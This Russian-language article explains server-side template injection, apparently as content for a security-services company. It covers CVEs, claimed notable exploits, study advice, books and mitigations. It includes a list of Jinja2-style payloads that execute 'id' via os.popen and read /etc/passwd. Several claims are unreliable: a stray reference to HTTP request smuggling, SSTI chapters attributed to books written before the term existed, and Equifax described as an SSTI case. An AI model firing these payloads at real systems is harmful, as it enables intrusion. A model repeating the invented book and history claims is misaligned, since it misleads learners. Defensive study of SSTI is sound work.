CVE-2022-34771 Tabit – произвольная отправка SMS от имени Tabits. Повторная отправка OTP API tabit позволяет злоумышленнику отправлять сообщения от имени tabits любому, кто зарегистрирован в системе – API получает параметры: номер телефона и пользовательское сообщение, мы можем использовать этот API для отправки вредоносных сообщений любому пользователю системы. Кроме того, API, вероятно, обладает каким-то потенциалом внедрения шаблонов. При вводе {{OTP}} в поле настраиваемого сообщения оно форматируется в OTP.

CVE-2022-34625 Было обнаружено, что Mealie1.0.0beta3 содержит уязвимость для внедрения шаблонов на стороне сервера, которая позволяет злоумышленникам выполнять произвольный код с помощью созданного шаблона Jinja2.

CVE-2022-32101 было обнаружено, что kkcms версии v1.3.7 содержит уязвимость SQL-инъекции через параметр cid в /template/wapian/vlist.php .

CVE-2022-29078 Пакет 3.1.6 ejs (он же Встроенные шаблоны JavaScript) для Node.js разрешает внедрение шаблона на стороне сервера в настройках [параметры просмотра][outputFunctionName]. Это анализируется как внутренняя опция и перезаписывает параметр outputFunctionName произвольной командой операционной системы (которая выполняется при компиляции шаблона).

Список CVE постоянно обновляется и дополняется актуальный список всех существующих распространенных уязвимостей и уязвимостей (CVE) для уязвимостей, связанных с контрабандой HTTP-запросов, можно найти на официальном веб-сайте CVE https://cve.mitre.org/

Список популярных эксплойтов, связанных с внедрением шаблонов на стороне сервера

Существует несколько популярных эксплойтов, связанных с внедрением шаблонов на стороне сервера (SSTI), которые использовались злоумышленниками для получения несанкционированного доступа или получения контроля над уязвимыми системами. Вот несколько примеров:

  1. Apache Struts 2: это широко используемая платформа веб-приложений, которая, как известно, уязвима для атак SSTI. Одним из ярких примеров является нарушение Equifax в 2017 году, когда злоумышленники использовали уязвимость SSTI в Struts для кражи конфиденциальных данных миллионов людей.

  2. Flask / Jinja2: Flask - это популярный веб-фреймворк Python, а Jinja2 - его шаблонизатор по умолчанию. Известная уязвимость в движке шаблонов позволяла злоумышленникам выполнять произвольный код на сервере путем внедрения вредоносного кода в шаблон Jinja2.

  3. Ruby on Rails: Ruby on Rails - популярная платформа веб-приложений, которая также оказалась уязвимой для атак SSTI. В 2013 году исследователь безопасности обнаружил уязвимость SSTI в Rails, которая позволяла злоумышленникам выполнять произвольный код.

  4. Handlebars.js : Handlebars.js это популярный движок шаблонов JavaScript, который также был признан уязвимым для атак SSTI. Злоумышленники могут внедрить вредоносный код в Handlebars.js шаблон для выполнения произвольного кода на сервере.

  5. Freemarker: Freemarker - популярный движок шаблонов Java, который, как было обнаружено, уязвим для атак SSTI. В 2019 году во Freemarker была обнаружена уязвимость, которая позволяла злоумышленникам выполнять произвольный код.

  6. Tornado: Tornado - это веб-фреймворк Python, который также был признан уязвимым для атак SSTI. В 2014 году была обнаружена уязвимость в движке шаблонов фреймворка, которая позволяла злоумышленникам выполнять произвольный код.

  7. Twig: Twig - популярный движок шаблонов PHP, который также был обнаружен уязвимым для атак SSTI. В 2018 году в Twig была обнаружена уязвимость, которая позволяла злоумышленникам выполнять произвольный код.

Это всего лишь несколько примеров популярных эксплойтов, связанных с внедрением шаблонов на стороне сервера (SSTI). По мере обнаружения новых уязвимостей злоумышленники будут продолжать находить способы их использования для получения несанкционированного доступа или получения контроля над уязвимыми системами.

Практика выявления и использования внедрения шаблонов на стороне сервера

Если вы хотите изучить и узнать о внедрении шаблонов на стороне сервера (SSTI), вот несколько рекомендаций:

  1. Изучите основы веб-разработки: Прежде чем углубляться в SSTI, вы должны иметь хорошее представление о том, как работают веб-приложения, различные компоненты веб-приложений и как они взаимодействуют друг с другом.

  2. Узнайте об уязвимостях веб-приложений. Важно иметь представление о распространенных уязвимостях веб-приложений, таких как внедрение SQL, межсайтовый скриптинг (XSS) и подделка межсайтовых запросов (CSRF), прежде чем переходить к SSTI.

  3. Узнайте о различных типах SSTI: вы должны хорошо разбираться в различных типах SSTI, а также в различных языках и средах, которые уязвимы для этой атаки. Некоторые из популярных языков и фреймворков, на которых вам следует сосредоточиться, включают Python, Ruby, Twig и Handlebars.

  4. Узнайте, как идентифицировать уязвимости SSTI: Вы должны узнать, как идентифицировать уязвимости SSTI с помощью различных методов, таких как ручное тестирование, средства автоматического сканирования и проверка кода.

  5. Практика использования уязвимостей SSTI: После того, как вы хорошо разберетесь в SSTI и в том, как выявлять уязвимости, вам следует попрактиковаться в их использовании. В Интернете доступно множество уязвимых веб-приложений и задач, которые вы можете использовать для практики.

  6. Будьте в курсе последних исследований и методов SSTI: SSTI - это быстро развивающаяся область, в которой постоянно обнаруживаются новые уязвимости и методы эксплуатации. Поэтому очень важно быть в курсе последних исследований, методов и инструментов.

  7. Присоединяйтесь к сообществу безопасности: Присоединение к сообществу безопасности может стать отличным способом узнать и поделиться знаниями о SSTI и других темах, связанных с безопасностью. Вы можете присоединиться к онлайн-форумам, дискуссионным группам и посещать конференции и мероприятия по безопасности.

  8. Пройдите онлайн-курсы и сертификацию: Доступно несколько онлайн-курсов и сертификатов, которые охватывают SSTI и безопасность веб-приложений. Некоторые популярные варианты включают курс тестирования веб-приложений на проникновение от eLearnSecurity и сертификацию Certified Web Application Penetration Tester (C-WAPT) от Mile2.

Книги с обзором внедрения шаблонов на стороне сервера

Вот несколько популярных книг, посвященных внедрению шаблонов на стороне сервера (SSTI) и смежным темам:

  1. “Справочник хакера веб–приложений: поиск и использование недостатков безопасности” Дафидда Штуттарда и Маркуса Пинто - Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений и включает главу о SSTI.

  2. “Запутанная паутина: руководство по обеспечению безопасности современных веб–приложений” Михала Залевского - В этой книге содержится подробный анализ безопасности веб-приложений, включая такие темы, как инъекционные атаки, XSS и CSRF, и включает главу о SSTI.

  3. “Black Hat Python: программирование на Python для хакеров и пентестеров” Джастина Сейтца – Эта книга представляет практический подход к изучению Python для использования в тестировании на проникновение и включает главу об использовании уязвимостей SSTI.

  4. “Python Web Penetration Testing Cookbook” Кэмерон Бьюкенен, Терри Ип, Эндрю Маббитт и Бенджамин Мэй – Эта книга представляет собой практическое руководство по использованию Python для тестирования веб-приложений на проникновение, включая раздел об использовании SSTI.

  5. “Расширенное тестирование на проникновение: взлом самых защищенных сетей в мире” Уила Аллсоппа – Эта книга представляет собой расширенное руководство по методам тестирования на проникновение и включает раздел об использовании уязвимостей SSTI.

  6. “Веб–безопасность для разработчиков: реальные угрозы, практическая защита” Малкольма Макдональда и Джейсона Александера - Эта книга предназначена для веб-разработчиков и содержит обзор безопасности веб-приложений, включая такие темы, как инъекционные атаки и XSS, и включает раздел о SSTI.

  7. “Освоение современного тестирования на проникновение в Интернет” Прахара Прасада – Эта книга представляет собой полное руководство по современным методам тестирования на проникновение в Интернет, включая главу об использовании уязвимостей SSTI.

Эти книги обеспечивают прочную основу для изучения безопасности веб-приложений и использования уязвимостей SSTI. Важно отметить, что для некоторых из этих книг может потребоваться сильная техническая подготовка в области веб-разработки и / или программирования.

Список полезных нагрузок для внедрения шаблонов на стороне сервера

Вот некоторые распространенные полезные нагрузки, которые можно использовать для внедрения шаблонов на стороне сервера (SSTI).:

  1. ${{<%[%'"}}(cmd){{%]'}}
  2. {{7*7}}
  3. {{ ''.__class__.__mro__[1].__subclasses__()[69].__init__.__globals__['os'].popen('id').read() }}
  4. {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  5. {{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}
  6. {{ ''.__class__.__base__.__subclasses__()[59]('id').read() }}
  7. {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
  8. {{ ''.__class__.__mro__[1].__subclasses__()[0].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
  9. {{self}}
  10. {{this}}

Обратите внимание, что некоторые из этих полезных нагрузок могут потребовать модификации в зависимости от конкретного тестируемого приложения или платформы, и их следует использовать только в контролируемых средах тестирования с соответствующим разрешением.

Смягчение последствий и способы защиты от внедрения шаблонов на стороне сервера

Для защиты от внедрения шаблонов на стороне сервера (SSTI) можно использовать несколько методов смягчения последствий. Вот некоторые из наиболее эффективных:

  1. Избегайте динамического рендеринга шаблонов: Один из способов предотвратить атаки SSTI - это избегать динамического рендеринга шаблонов. Вместо этого используйте статические шаблоны, которые не допускают динамического ввода.

  2. Проверка и очистка входных данных: проверка и очистка пользовательских входных данных для предотвращения внедрения вредоносного кода в шаблоны. Используйте методы проверки входных данных, такие как внесение в белый список, черный список или регулярные выражения, чтобы отфильтровать опасные входные данные.

  3. Кодирование вывода: кодируйте все введенные пользователем данные перед их отображением в шаблоне, чтобы предотвратить выполнение вредоносного кода. Используйте методы кодирования вывода, такие как кодирование сущности HTML или кодирование URL.

  4. Используйте политику безопасности содержимого (CSP): политика безопасности содержимого может использоваться для ограничения источников, из которых может быть загружено содержимое. Ограничивая источники контента, это может помочь предотвратить внедрение злоумышленниками вредоносного кода.

  5. Обновляйте программное обеспечение: обновляйте программное обеспечение и платформы с помощью последних исправлений безопасности, чтобы предотвратить использование известных уязвимостей.

  6. Используйте брандмауэр веб-приложений (WAF): WAF можно использовать для мониторинга входящего трафика, обнаружения и блокирования подозрительных запросов, которые могут указывать на атаку SSTI.

  7. Просвещение пользователей: Информируйте пользователей об опасностях атак SSTI и поощряйте их сообщать о любых подозрительных действиях.

Важно отметить, что эти методы смягчения последствий не являются надежными, и злоумышленники все еще могут найти способы обойти их. Поэтому важно регулярно проверять свои приложения на наличие уязвимостей и быть в курсе последних рекомендаций по обеспечению безопасности.

Заключение

Внедрение шаблонов на стороне сервера (SSTI) является серьезной уязвимостью, которая может позволить злоумышленнику выполнить произвольный код на веб-сервере. Его можно использовать с помощью различных методов, включая интерполяцию строк, внедрение объектов, внедрение кода и внедрение команд. Существует множество инструментов и методов для обнаружения и использования уязвимостей SSTI, и очень важно тщательно протестировать веб-приложения на наличие SSTI. Стратегии смягчения последствий включают проверку и очистку входных данных, использование безопасных шаблонов и фреймворков, а также применение минимальных привилегий и всестороннюю защиту. Как и в случае со всеми уязвимостями веб-приложений, постоянное обновление последних исправлений и обновлений безопасности имеет решающее значение для обеспечения безопасности и надежности веб-приложений.

Другие Услуги

Готовы к безопасности?

Связаться с нами